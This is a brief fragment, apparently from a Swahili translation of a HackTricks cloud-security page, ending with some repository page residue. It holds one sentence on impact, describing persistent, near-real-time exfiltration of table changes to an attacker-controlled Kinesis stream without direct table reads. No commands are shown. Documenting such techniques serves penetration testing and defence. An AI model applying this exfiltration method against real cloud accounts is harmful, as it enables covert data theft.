**Athari Inayoweza Kutokea:** Exfiltration inayodumu, karibu wakati halisi, ya mabadiliko ya table kwenda kwenye Kinesis stream inayodhibitiwa na mshambuliaji bila read operations za moja kwa moja kwenye table.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user